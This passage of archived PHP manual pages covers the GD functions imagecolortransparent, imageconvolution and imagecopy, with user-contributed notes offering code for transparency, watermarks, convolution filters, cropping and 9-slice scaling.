              imagecolortransparent($dest, $tpcolor);
              imagegif($dest, "$fixPath/images/thumbs/$userfile");
            }
            else // Background (most probably) NOT transparent
              imagegif($dest, "$fixPath/images/thumbs/$userfile");
            break;
          case 2: // JPEG
          .
          .
          .
          case 3: // PNG
          .
          .
          .
            break;
        }
        imagedestroy($src);
        imagedestroy($dest);
      }
      else
        $note = "Error: Uploaded image but could not create thumbnail";
      header("location: $fixPath/index.php?next=$next&nb=$nb&userfile=$userfile");
    }
    else
      $note = "Could not find anything to upload\n";
webmaster at webnetwizard dotco dotuk 11-Jan-2005 03:09
After much devious mindbending, I have found a way to test any GIF for presence of background transparency. This ability is essential for my application which uploads any of GIF, JPEG or PNG and simultaneously creates a thumbnail of identical image type and identical filename (full size and thumbnail versions being stored in different folders).
After uploading and moving the image in the usual way, a switch($image_type) statement ensures that the optimum code is used to generate the thumbnail; regardless of image type.
The problem with the GIF type is that those with transparent backgrounds need to be treated differently to those without. When I don't detect GIF transparency, I either end up with all transparent GIF's having black backgrounds, or all GIF's get converted to transparent background - even if they weren't transparent in the original.
But how to detect transparency in the original? It finally occurred to me that I could test for transparency programmatically by overlaying a copy of the original image over an all-black image, record the color value at particular pixel locations and then repeat the process by overlaying a copy of the original image over an all-white image, recording the color values at identical pixel locations and comparing these with the first set of values.
If the two sets of values correlate exactly, and if sensible sampling points are used, the image can be treated as non-transparent. If the two sets of values show differences, the image should be treated as having a transparent background.
emilus at galeria-m dot art dot pl 30-Sep-2004 11:02
To resize or copy image (gif [with gd>=2.0.28] or png) with transparency.
-Take current transparency color
-create a new image with palette like old one and fill new image with transparent color
-set transparent color
-copy resized image

$colorTransparent = imagecolortransparent($im);
$im2 = imagecreate($new_w,$new_h);
imagepalettecopy($im2,$im);
imagefill($im2,0,0,$colorTransparent);
imagecolortransparent($im2, $colorTransparent);
imagecopyresized($im2,$im,0,0,0,0,$new_w,$new_h,$imsx,$imsy);
php_comment et 5mm de 27-Sep-2004 07:02
In fact this function can be used for two purposes:

A.) to work with transparency while dealing with images in php (see watermark example)

B.) to create a partially transparent picture

For A.) one can work with truecolor images with some regulations, but B.) can only be used with palette-based images (= indexed = created with imagecreate not imagecreatetruecolor) and formats that support transparency (png, gif).

For instance if you want to cut out a color out of a give picture that is in truecolor, use the following method to first convert it to palette-based image, assign the transparency and give it to the browser as png:

<?
$img = imagecreatefromjpeg('test.jpg');
imagetruecolortopalette($img, false, 256); // convert

$white = imagecolorresolve($img, 255, 255, 255); // resolve given palette entry
imagecolortransparent($img, $white);

header("Content-type: image/png");
imagepng($img);
?>
shelley_hina at yahoo dot com 04-Mar-2004 08:35
It took me a while to figure this out. I added visual web thumbnail preview graphic from http://www.thumbshots.org and http://www.thumbshots.com to my customer sites to visualize web pages. Then I needed to create a small blank transparent PNG image if the thumbshot is not available. You can do this easily using imagecolortransparent function. It came out really nice and fast. It's very cool stuff and highly recommended library for all your web site needs!

// Use GD library to create transparent color PNG image of the pixel size
$ImgGD = imagecreate(120, 90);
$ImgWhite = imagecolorallocate($ImgGD, 255, 255, 255);
imagefill($ImgGD, 0, 0, $ImgWhite);
imagecolortransparent($ImgGD, $ImgWhite);

// Capture STDOUT to buffer
ob_start();
imagepng($ImgGD);
$Image = ob_get_contents();
ob_end_clean();

// Remember to free your memory
imagedestroy($ImgGD);

// Print image to web browser.
print $Image
php at kybert dot com 14-Nov-2003 02:30
i had problems with the example by sandhawk at spies dot com because my png overlay, and the jpeg canvas were using different color depths, so, this function corrects this:

[code]
function WatermarkImage($CanvasImage, $WatermarkImage /* MUST BE PHG */, $Opacity=10, $Quality=75)
{
    // create true color canvas image:
    $canvas_src = imagecreatefromjpeg($CanvasImage);
    $canvas_w = ImageSX($canvas_src);
    $canvas_h = ImageSY($canvas_src);
    $canvas_img = imagecreatetruecolor($canvas_w, $canvas_h);
    imagecopy($canvas_img, $canvas_src, 0,0,0,0, $canvas_w, $canvas_h);
    imagedestroy($canvas_src);    // no longer needed

    // create true color overlay image:
    $overlay_src = imagecreatefrompng($WatermarkImage);
    $overlay_w = ImageSX($overlay_src);
    $overlay_h = ImageSY($overlay_src);
    $overlay_img = imagecreatetruecolor($overlay_w, $overlay_h);
    imagecopy($overlay_img, $overlay_src, 0,0,0,0, $overlay_w, $overlay_h);
    imagedestroy($overlay_src);    // no longer needed

    // setup transparent color (pick one):
    $black   = imagecolorallocate($overlay_img, 0x00, 0x00, 0x00);
    $white   = imagecolorallocate($overlay_img, 0xFF, 0xFF, 0xFF);
    $magenta = imagecolorallocate($overlay_img, 0xFF, 0x00, 0xFF);
    // and use it here:
    imagecolortransparent($overlay_img, $white);

    // copy and merge the overlay image and the canvas image:
    imagecopymerge($canvas_img, $overlay_img, 0,0,0,0, $overlay_w, $overlay_h, $Opacity);

    // output:
    header("Content-type: image/jpeg");
    imagejpeg($canvas_img, '', $Quality);

    imagedestroy($overlay_img);
    imagedestroy($canvas_img);
}

// call function with opcity set to 50% and 95% quality
WatermarkImage("canvas.jpg", "overlay.png", 50, 95);

[/code]
creator79>>web>>de 09-Oct-2003 03:44
Hi!
I'm using GDLib 1.6.3 so far I know.
You can have transparency on any defined color on any image type when using the imagecolorclosest($im, $R, $G, $B) function instead of imagecolorallocate() or imagecolorexact().
calar at gamigo dot de 02-Aug-2003 03:53
ok some works...

i had a test-sytem with GDLib, phpinfo shows me this version:
"GD Version  2.0 or higher" so far no porblems with: imageColorTransparent

Then we had to copy ouer codes to another sever on this server phpinfo shots me version:
"GD Version  bundled (2.0.12 compatible)"

The jpg was wrong and nothing was transparent.
The point is, you have to use: imagecopymerge

Don't if its true on any system just work on
SUSE 8.2
PHP 4.3.2
cladiniz at zipmail dot com dot br 18-Mar-2003 03:19
If you have a transparent PNG , in PHP 4.3.1 , GD 2.0 , you don't need to set the transparency anymore , it's automatic ...
sandhawk at spies dot com 06-Mar-2003 08:04
here's a little snippet of code that i got for getting images to overlay with transparency(based off text overlay above).

$olay_img = imagecreatefromPNG("overlay.png); //NOTE I recomment you use png for this, artifacts from jpeg images can look bad when you overlay them
$src_img = ImageCreateFromJPEG("image.jpg");
$src_w = ImageSX($src_img);
$src_h = ImageSY($src_img);

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($olay_img, 0, 0, 0);

ImageColorTransparent($olay_img, $black);

imagecopy($can_img, $src_img, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $olay_img, 0,0,0,0, ImageSX($olay_img), ImageSY($olay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,'',100);

imagedestroy($src_img);
imagedestroy($olay_img);
imagedestroy($can_img);
Jonatan 30-Dec-2002 07:35
I have found that ImageColorTransparent() works on true color images if and only if the transparent color is black.
(PHP 4.2.3/GD 2.0)
marshall.AT.byterage.net 05-May-2002 04:50
In response to the note above...

ImageColorTransparent() does work on TrueColor images.  I have it working myself but I do remember having to add an extra step somewhere.  Anyways, here is how I overlay text on a jpeg.  Don't forget, you need GD 2.x for true color to work.  This example requires TTF support also.

//
// get src image and dimensions
$src_img = ImageCreateFromJPEG("foo.jpg");
$src_w = ImageSX($src_img);
$src_h = ImageSY($src_img);
//
// create empty true color canvas, def bg is black
$txt_img = ImageCreateTrueColor($src_w,$src_h);
//
// define colors
$white = ImageColorAllocate ($txt_img, 255, 255, 255);
$black = ImageColorAllocate ($txt_img, 0, 0, 0);
//
// add your white text
ImageTTFText ($txt_img, 80, 25, 65, 350, $white, "impact.ttf", "Kung Fu");
//
// make black bg transparent
ImageColorTransparent($txt_img, $black);
//
// merge text image onto src image
ImageCopyMerge($src_img,$txt_img,0,0,0,0,$src_w,$src_h,30); // 30% opacity

'Now' you can do resizing or whatever and output it.  You need to create yet another blank image to resample.  (Actually you can resize the image before the text overlay step with some small mods, but its REALLY messy if you want the output size to be dynamic)

//
// create empty true color canvas for resizing.
$dst_img = ImageCreateTrueColor(100,100);
//
// resize
ImageCopyResampled($dst_img,$src_img,0,0,0,0,100,100,$src_w,$src_h);
//
// output to browser.
ImageJPEG($dst_img,'',70);   // quality 70

If someone could tell me a shorter way to do this, that would be sweet.  The way it is now, it just feels like there is one too many steps to get this done.  But I am glad it works at all!
07-Dec-2001 04:18
when a color is defined as transparent, anytime that color is used in another function (before or after transparency definition) will be transparent

ex:
$red = ImageColorAllocate ($im, 233, 14, 91);
$blue = ImageColorAllocate ($im, 0x20, 0x60, 0xaa);
imagefilledarc ($im, 100, 100, 80, 80, 0, 60, $blue, IMG_ARC_PIE);//arc is transparent even though is not defined yet
$trans=imagecolortransparent($im,$blue);//affects all occurances of blue, before and after this line

ALSO:
ImageString ($im, 10, 5, 5,  "Transparent Text String", $blue);
---is equivalent to----
ImageString ($im, 10, 5, 5,  "Transparent Text String", $trans);


Apply a 3x3 convolution matrix, using coefficient and offset

  • « imagecolortransparent
  • imagecopy »
  • PHP Manual
  • GD and Image Functions
  • Apply a 3x3 convolution matrix, using coefficient and offset

imageconvolution

(PHP 5 >= 5.1.0)

imageconvolution — Apply a 3x3 convolution matrix, using coefficient and offset

Description

bool imageconvolution ( resource $image , array $matrix , float $div , float $offset )

Applies a convolution matrix on the image, using the given coefficient and offset.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

matrix

A 3x3 matrix: an array of three arrays of three floats.

div

The divisor of the result of the convolution, used for normalization.

offset

Color offset.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Embossing the PHP.net logo

<?php
$image = imagecreatefromgif('http://www.php.net/images/php.gif');

$emboss = array(array(2, 0, 0), array(0, -1, 0), array(0, 0, -1));
imageconvolution($image, $emboss, 1, 127);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

The above example will output:

Output of example : Embossing the PHP.net logo

Example #2 Gaussian blur

<?php
$image = imagecreatetruecolor(180,40);

// Writes the text and apply a gaussian blur on the image
imagestring($image, 5, 10, 8, 'Gaussian Blur Text', 0x00ff00);
$gaussian = array(array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0), array(1.0, 2.0, 1.0));
imageconvolution($image, $gaussian, 16, 0);

// Rewrites the text for comparison
imagestring($image, 5, 10, 18, 'Gaussian Blur Text', 0x00ff00);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

The above example will output:

Output of example : Gaussian blur

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

See Also

  • imagefilter() - Applies a filter to an image

User Contributed Notes

magilvia 17-May-2011 10:36
Here's a good sharpen setting for thumbnail creation:

<?php
            $sharpenMatrix = array
            (
                array(-1.2, -1, -1.2),
                array(-1, 20, -1),
                array(-1.2, -1, -1.2)
            );

            // calculate the sharpen divisor
            $divisor = array_sum(array_map('array_sum', $sharpenMatrix));

            $offset = 0;

            // apply the matrix
            imageconvolution($img, $sharpenMatrix, $divisor, $offset);
?>
phunction.sf.net 16-May-2010 06:20
You don't need any custom function to calculate the $divisor of the $matrix, using array_map() and array_sum() does the trick:

<?php

$matrix = array
(
    array(-1, -1, -1),
    array(-1, 16, -1),
    array(-1, -1, -1),
);

$divisor = array_sum(array_map('array_sum', $matrix)); // 8

?>
fabien dot snauwaert at gmail dot com 07-Mar-2010 07:44
Normalization is necessary to keep the image balanced (else any filter may quickly turn the image almost completely black or white).

Here is a short, easy-to-use, class to handle normalization automatically and make for easier input of the 3x3 matrix:

The code respects the "array of three arrays" syntax for use with the imageconvolution() function and automatically calculates the necesarry divisor for normalization.

<?php

class ConvolutionFilter {
    public $matrix;
    public $div;

    public function computeDiv() {
        $this->div = array_sum ($this->matrix[0]) + array_sum ($this->matrix[1]) + array_sum ($this->matrix[2]);
    }

    function __construct() {
        $matrix = func_get_args();
        $this->matrix = array(    array($matrix[0], $matrix[1], $matrix[2]),
                                array($matrix[3], $matrix[4], $matrix[5]),
                                array($matrix[6], $matrix[7], $matrix[8])
                                );
        $this->computeDiv();
    }
}

?>

Example usage:

<?php

$gaussianFilter =    new ConvolutionFilter(    1.0,    2.0,    1.0,
                                             2.0,    3.0,    2.0,
                                             1.0,    2.0,    1.0        );
imageconvolution($image, $gaussianFilter->matrix, $gaussianFilter->div, 0);

?>

Some common filters:

<?php

$identityFilter =    new ConvolutionFilter(    0.0,    0.0,    0.0,
                                             0.0,    1.0,    0.0,
                                             0.0,    0.0,    0.0        );
$sharpenFilter =    new ConvolutionFilter(    0.0,    -1.0,    0.0,
                                             -1.0,    5.0,    -1.0,
                                             0.0,    -1.0,    0.0        );
$edgeFilter =        new ConvolutionFilter(    0.0,    1.0,    0.0,
                                             1.0,    -4.0,    1.0,
                                             0.0,    1.0,    0.0        );
$findEdgesFilter =    new ConvolutionFilter(    -1.0,    -1.0,    -1.0,
                                             -2.0,    8.0,    -1.0,
                                             -1.0,    -1.0,    -1.0        );

?>

Remember you can use imagefilter() for such basic needs but the above class will make it easier for you when you want to create your own filters.
Jase 14-Sep-2007 12:53
The comment below is an extremely good workaround

however, php did throw lots of warnings at me when i had error reporting set to E_ALL

this can be avoided with one line of code and no impact (as i can see) to the rest of the function

<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    #FIX HERE
    #$pxl array was the problem so simply set it with very low values
    $pxl = array(1,1);
    #this little fix worked for me as the undefined array threw out errors

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
mgcclx at gmail dot com 01-Mar-2007 04:55
imageconvolution() does not appear in PHP with non-bundled GD libraries. It is a rare situation, but it still happens. That's why I wrote a replication of imageconvolution() in PHP. Compare to the post below, this one makes the use of offset and 30% faster.
Because it's written in PHP, it is 50 times slower than the bundled version.
Actually, this is a replication of gdimageconvolutaion() of GD library, it does not support data validating feature imageconvolution() have. But I guess people who uses this function knows their stuff.

THE SCRIPT:
<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
interghost at crovortex dot com 31-Mar-2006 08:26
an implementation of this function for PHP versions <5.1
<?php
if(!function_exists("imageconvolution"))
{
 function imageconvolution(&$img,$mat,$div,$off)
 {
   if(!imageistruecolor($img) || !is_array($mat) || count($mat)!=3 || count($mat[0])!=3 || count($mat[1])!=3 || count($mat[2])!=3) return FALSE;
   unset($bojainfo);
   for($nx=0;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=0;$ny<imagesy($img)-1;$ny++)
     {
        $rgb=imagecolorat($img,$nx,$ny);
        $bojainfo[$nx][$ny][r]=($rgb>>16)&0xFF;
        $bojainfo[$nx][$ny][g]=($rgb>>8)&0xFF;
        $bojainfo[$nx][$ny][b]=$rgb&0xFF;
     }
   }
   for($nx=1;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=1;$ny<imagesy($img)-1;$ny++)
     {
        $nr=$mat[0][0]*$bojainfo[$nx-1][$ny-1][r] + $mat[0][1]*$bojainfo[$nx][$ny-1][r] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][r] + $mat[1][0]*$bojainfo[$nx-1][$ny][r] + $mat[1][1]*$bojainfo[$nx][$ny][r] + $mat[1][2]*$bojainfo[$nx+1][$ny][r] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][r] + $mat[2][1]*$bojainfo[$nx][$ny+1][r] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][r];
        $nr=intval(round($nr/$div));
        if($nr<0) $nr=0;
        elseif($nr>255) $nr=255;
        $ng=$mat[0][0]*$bojainfo[$nx-1][$ny-1][g]  + $mat[0][1]*$bojainfo[$nx][$ny-1][g] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][g] + $mat[1][0]*$bojainfo[$nx-1][$ny][g] + $mat[1][1]*$bojainfo[$nx][$ny][g] + $mat[1][2]*$bojainfo[$nx+1][$ny][g] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][g] + $mat[2][1]*$bojainfo[$nx][$ny+1][g] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][g];
        $ng=intval(round($ng/$div));
        if($ng<0) $ng=0;
        elseif($ng>255) $ng=255;
        $nb=$mat[0][0]*$bojainfo[$nx-1][$ny-1][b] + $mat[0][1]*$bojainfo[$nx][$ny-1][b] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][b] + $mat[1][0]*$bojainfo[$nx-1][$ny][b] + $mat[1][1]*$bojainfo[$nx][$ny][b] + $mat[1][2]*$bojainfo[$nx+1][$ny][b] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][b] + $mat[2][1]*$bojainfo[$nx][$ny+1][b] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][b];
        $nb=intval(round($nb/$div));
        if($nb<0) $nb=0;
        elseif($nb>255) $nb=255;
        $nrgb=($nr<<16)+($ng<<8)+$nb;
        if(!imagesetpixel($img,$nx,$ny,$nrgb)) return FALSE;
     }
   }
   return TRUE;
  }
}
?>

it's a bit slowish so I wouldn't recommend big images, also offset is not implemented (don't know what it's suppose to do)
mlconnor at yahoo dot com 21-Mar-2006 06:00
I've seen many people come up with ways to do a drop shadow behind a rectangle such as a picture.  I haven't found one yet that was fast, PHP 4 complaint, and nice looking.  Here is one I came up with last night.  It takes an image, fills it with the background, and creates a blurred drop shadow at the specified coords using the colors and the distance offset specified.  It looks great!!!

  function blurRect(&$image, $distance, $rectX1, $rectY1, $rectX2, $rectY2, $shadowR, $shadowG, $shadowB, $backR, $backG, $backB) {

    $potentialOverlap = ($distance * 2) * ($distance * 2);

    $backgroundColor = imagecolorallocate($image, $backR, $backG, $backB);
    $shadowColor = imagecolorallocate($image, $shadowR, $shadowG, $shadowB);

    $imageWidth = imagesx($image);
    $imageHeight = imagesy($image);

    imageFilledRectangle($image, 0, 0, $imageWidth - 1, $imageHeight - 1, $backgroundColor);
    imageFilledRectangle($image, $rectX1, $rectY1, $rectX2, $rectY2, $shadowColor);

    for ( $pointX = $rectX1 - $distance; $pointX < $imageWidth; $pointX++ ) {
      for ( $pointY = $rectY1 - $distance; $pointY < $imageHeight; $pointY++ ) {

        if ( $pointX > $rectX1 + $distance &&
             $pointX < $rectX2 - $distance &&
             $pointY > $rectY1 + $distance &&
             $pointY < $rectY2 - $distance ) {
          $pointY = $rectY2 - $distance;
        }

        $boxX1 = $pointX - $distance;
        $boxY1 = $pointY - $distance;
        $boxX2 = $pointX + $distance;
        $boxY2 = $pointY + $distance;

        $xOverlap = max(0, min($boxX2, $rectX2) - max($boxX1, $rectX1));
        $yOverlap = max(0, min($boxY2, $rectY2) - max($boxY1, $rectY1));

        $totalOverlap = $xOverlap * $yOverlap;
        $shadowPcnt = $totalOverlap / $potentialOverlap;
        $backPcnt = 1.0 - $shadowPcnt;

        $newR = $shadowR * $shadowPcnt + $backR * $backPcnt;
        $newG = $shadowG * $shadowPcnt + $backG * $backPcnt;
        $newB = $shadowB * $shadowPcnt + $backB * $backPcnt;

        $newcol = imagecolorallocate($image, $newR, $newG, $newB);
        imagesetpixel($image, $pointX, $pointY, $newcol);
      }
    }
  }
dyer85 at gmail dot com 07-Jan-2006 11:24
Took me a while, but thanks to a couple of the user notes on the array_values PHP documentation page, I was able to come up with a way to dynamically compute the divisor.

I'm using PHP 5.1.0b2 on Win32 with the bundled GD library. When I try and use the imageconvolution function, whether normally, or via the functions below, the resulting image (I've only tried JPEGs and GIFs), always comes out far too bright, even when the divisor makes matrix sum equal to 1. The only thing that would reduce the brightness was to make the offset argument ridiculously large. So, I'm not sure if this effects anyone else.

Here are the functions with an example:

<?php
$im = imagecreatefromjpeg('path/to/pic.jpg');
$matrix = array(   array(5,5,5),
                   array(5,15,5),
                   array(5,5,5) );
makeFilter($im, $matrix);

header ( 'Content-Type: image/jpeg' );
imagejpeg($im);
imagedestroy($im);

/**
 * functions
 */
// This flattens the 3X3 array matrix, so we can get the sum of all the values
function array_flatten($array) {
    (array)$tempArray = array();

    foreach ( $array as $value ) {
        if ( is_array($value) ) {
            $tempArray = array_merge($tempArray, array_flatten($value));
        } else {
            $tempArray[] = $value;
        }
    }

    return $tempArray;
}

// Creates the divisor value dynamically, and passes offset
function makeFilter($resource, $matrix, $offset=1.0) {
    global $$resource;
    (float)$divisor = array_sum(array_flatten($matrix));
    return imageconvolution($resource, $matrix, $divisor, $offset) ? true : false;
}
?>
27-Oct-2005 02:32
The example below didn't provide a 3x3 matrix. Correctly, it's a multidimensional array.

<?php
    $matrix = array(    array( -1, -1, -1 ),
                        array( -1, 16, -1 ),
                        array( -1, -1, -1 ) );
?>
timeshifting at gmail dot com 25-Aug-2005 12:40
Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html


Copy part of an image

  • « imageconvolution
  • imagecopymerge »
  • PHP Manual
  • GD and Image Functions
  • Copy part of an image

imagecopy

(PHP 4, PHP 5)

imagecopy — Copy part of an image

Description

bool imagecopy ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h )

Copy a part of src_im onto dst_im starting at the x,y coordinates src_x, src_y with a width of src_w and a height of src_h. The portion defined will be copied onto the x,y coordinates, dst_x and dst_y.

Parameters

dst_im

Destination image link resource.

src_im

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

src_w

Source width.

src_h

Source height.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Cropping the PHP.net logo

<?php
// Create image instances
$src = imagecreatefromgif('php.gif');
$dest = imagecreatetruecolor(80, 40);

// Copy
imagecopy($dest, $src, 0, 0, 20, 13, 80, 40);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

The above example will output something similar to:

Output of example : Cropping the PHP.net logo

User Contributed Notes

petr dot biza at gmail dot com 11-May-2010 04:23
There is function to crop blank edges from image.

<?php
/**
* $image image cursor (from imagecreatetruecolor)
* $backgound image curosr (from imagecolorallocate)
* $paddng int
*/
function imageCrop($image, $background = false, $padding = 0) {
    if($background)
      $background = imagecolorallocate($image, 255, 255, 255);

    $top = imageSY($image);
    $left = imageSX($image);
    $bottom = 0;
    $right = 0;

    for ($x = 0 ; $x < imagesx($image) ; $x++) {
        for ($y = 0 ; $y < imagesy($image) ; $y++) {

          // if there match
            if(imagecolorat($image, $x, $y) != $background) {

              if($x < $left)
                $left = $x;
              if($x > $right)
                $right = $x;
              if($y > $bottom)
                $bottom = $y;
              if($y < $top)
                $top = $y;
        }
        }
    }

    $right++;
    $bottom++;

    // create new image with padding
    $img = imagecreatetruecolor($right-$left+$padding*2,$bottom-$top+$padding*2);
    // fill the background
    imagefill($img, 0, 0, $background);
    // copy
    imagecopy($img, $image, $padding, $padding, $left, $top, $right-$left, $bottom-$top);

    // destroy old image cursor
    imagedestroy($image);
    return $img;
}
?>
latin4567 at gmail dot com 23-Sep-2009 04:29
I have created a PHP function which performs the standard 9-Slice scaling technique. This is extremely useful for thumbnail shadow scaling, and anything involving skinning. Feel free to pick apart and use

Note: instead of specifying margins, my 9-slicing routine uses a centered-rectangle concept... as input you provide the image (as a resource), the x and y coords of the rectangle, and the width and height of the rectangle.

The $src_im parameter should be an image resource. This script was written for 9-slicing translucent PNG images, and has only been tested with translucent PNG images, however it should work with other image types (possibly requiring some modification)

so if your source image was 400 x 400, you needed a 24 pixel margin on all sides, and your target size was 800 x 500, you would use the following parameters:

<?php
$im = NineSlice($im, 24, 24, 352, 352, 800, 500)
?>

<?php
/* 9-Slice Image Slicing Script by Sam Kelly (DuroSoft: http://www.durosoft.com) */
function NineSlice($src_im, $rect_x, $rect_y, $rect_w, $rect_h, $target_w, $target_h)
{
    $src_w = imagesx($src_im);
    $src_h = imagesy($src_im);

    $im = CreateBlankPNG($target_w, $target_h);
    imagealphablending($im,true);

    $left_w = $rect_x;
    $right_w = $src_w - ($rect_x + $rect_w);

    $left_src_y = ceil($rect_h / 2) - 1 + $rect_y;
    $right_src_y = $left_src_y;

    $left_src_x = 0;
    $right_src_x = $left_w + $rect_w;

    $top_src_x = ceil($rect_w / 2) - 1 + $rect_x;
    $bottom_src_x = $top_src_x;
    $bottom_src_y = $rect_y + $rect_h;
    $bottom_h = $src_h - $bottom_src_y;

    $left_tile = CreateBlankPNG($left_w, 1);
    imagecopy($left_tile, $src_im, 0, 0, 0, $left_src_y, $left_w, 1);

    $right_tile = CreateBlankPNG($right_w, 1);
    imagecopy($right_tile, $src_im, 0, 0, $right_src_x, $right_src_y, $right_w, 1);

    $top_tile = CreateBlankPNG(1, $rect_y);
    imagecopy($top_tile, $src_im, 0, 0, $top_src_x, 0, 1, $rect_y);

    $bottom_tile = CreateBlankPNG(1, $bottom_h);
    imagecopy($bottom_tile, $src_im, 0, 0, $bottom_src_x, $bottom_src_y, 1, $bottom_h);

    $inner_tile = CreateBlankPNG(4, 4);
    imagecopy($inner_tile, $src_im, 0, 0, ceil($src_w / 2) - 1, ceil($src_h / 2) - 1, 4, 4);

    imagecopy($im, $src_im, 0, 0, 0, 0, $left_w, $rect_y);
    imagecopy($im, $src_im, 0, $target_h - $bottom_h, 0, $bottom_src_y, $rect_x, $bottom_h);
    imagecopy($im, $src_im, $target_w - $right_w, 0, $right_src_x, 0, $right_w, $rect_y);
    imagecopy($im, $src_im, $target_w - $right_w, $target_h - $bottom_h, $src_w - $right_w, $bottom_src_y, $right_w, $bottom_h);

    imagesettile($im, $top_tile);
    imagefilledrectangle($im, $left_w, 0, $target_w - $right_w - 1, $rect_y, IMG_COLOR_TILED);

    imagesettile($im, $left_tile);
